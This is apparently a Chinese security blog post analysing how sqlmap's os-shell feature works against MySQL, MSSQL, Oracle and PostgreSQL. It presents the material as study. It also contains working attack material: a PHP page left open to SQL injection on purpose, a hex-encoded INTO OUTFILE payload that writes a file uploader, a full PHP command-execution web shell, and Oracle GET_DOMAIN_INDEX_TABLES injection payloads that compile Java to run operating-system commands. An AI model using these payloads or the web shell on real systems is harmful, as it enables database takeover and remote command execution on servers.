Catalog
  1. 1. MySQL
    1. 1.1. php设置自动转义
    2. 1.2. MySQL设置可以写入文件
    3. 1.3. 总结
  2. 2. MSSQL
    1. 2.1. 总结
  3. 3. oracle
    1. 3.1. 总结
  4. 4. postgresql
sqlmap-os-shell分析

闲着无聊,琢磨一下sqlmap-os-shell。

MySQL

环境:phpstudy,Apache2.4.39,MySQL5.7.26

条件:

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

(4)MySQL允许写入文件

php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
/*
写这个php最初目的是为了给自己测WAF用,和深入了解SQL注入。
可以打印你查询的结果,和打印你调用的SQL语句。
使用到了pikachu的库
*/
// 设置编码为utf-8
header("Content-Type: text/html;charset=utf-8");
$servername = "localhost";
$username = "root";
$password = "root";

// 创建连接
$conn = new mysqli($servername, $username, $password);

// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
echo "连接成功";
$chaxun = $_GET["id"];
mysqli_query($conn,'use pikachu;');//连接数据库并使用pikachu库
$sql = "SELECT * FROM users WHERE username= '$chaxun'";//查询语句
$result = mysqli_query($conn,$sql);//使用mysqli_query函数调用sql语句
while($row = $result->fetch_assoc()) {//查询后的结果集里取一行并赋值给row
echo "<br>账号:".$row['username'];//打印user行的内容
echo "<br>";
echo "密码:".$row['password'];
}
print "<br><b>SQL语句为:</b>$sql</br>";
//加粗并换行打印出来
$conn->close();
//查询后不管有没有都记得关闭数据库
?>

php设置自动转义

MySQL设置可以写入文件

看了一下sqlmap执行os-shell的第一个payload,是一个写入文件的操作,我直接在mysql内执行出现报错。

开始执行语句的时候,提示报错。

通过报错的提示可以发现是由于secure-file-priv变量的设置所引起的 。然后我在mysql的配置文件里面加secure-file-priv的变量配置。

说明:

secure_file_prive=null 限制mysqld 不允许导入导出

secure_file_priv=/var/lib/mysql-files/ 限制mysqld的导入导出只能发生在/var/lib/mysql-files/目录下

secure_file_priv=’ ‘ 不对mysqld的导入导出做限制

执行数据库语句以后,效果如下

1
SELECT * FROM users WHERE username= 'admin' limit 0,1 INTO OUTFILE 'D:/phpstudy_pro/WWW/tmpuslcm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d443a5c5c70687073747564795f70726f5c5c5757575c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--

sqlmap的第一个payload就是写入一个php上传文件的web。

看看sqlmap写入一个上传文件的web之后的操作。

sqlmap又通过之前写入的上传文件的php,上传了一个php。看一下这个php的代码。

1
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1/n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

一个web马,就和sqlmap连接成一个交互式的shell。

总结

sqlmap-os-shell的MySQL执行条件,php开启了自动转义,MySQL执行开启了写入函数。

存在注入的前提,配置不当。

MSSQL

​ 我就不想搭建环境做分析了,我在freebuf,看到一篇解析得很清楚的文章。

技术分享:MSSQL注入xp_cmdshell

总结

mssql的os-shell,在注入的前提下,调用mssql的xp_cmdshell组件,执行系统命令,如果没有开启xp_cmdshell,可以使用mssql的sa用户权限开启xp_cmdshell组件。

oracle

这个我也没搭建环境,但是我还是找到了一篇文章,解析得挺清楚的,sqlmap的os shell的payload都放在这个目录下

看一下的payload

1
2
3
4
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL

分析一下payload,也是看文章分析的。

(1) 创建Java库

1
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

(2) 赋予Java权限

1
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual

(3) 创建函数

1
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

(4) 赋予函数执行权限

1
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual

参考这篇文章。

一次综合渗透测试

总结

因为我本地没复现,完成这个payload的条件,我只能从别人文章哪里抄下来了,但是也是通过sql函数写一个交互式的shell。

条件:

GET_DOMAIN_INDEX_TABLES函数注入漏洞
影响版本:Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2
漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
————————————————
原文链接:https://blog.csdn.net/weixin_38023368/article/details/76922153

postgresql

这里找不到postgresql的os shell的payload。可是我看见看见postgresql数据库好像有写入文件函数,有点离谱。

1
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

但是这里的payload没有了,我也懒得搭建环境分析了。

Author: 九指
Link: /2019/11/25/sqlmap-os-shell%E5%88%86%E6%9E%90/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶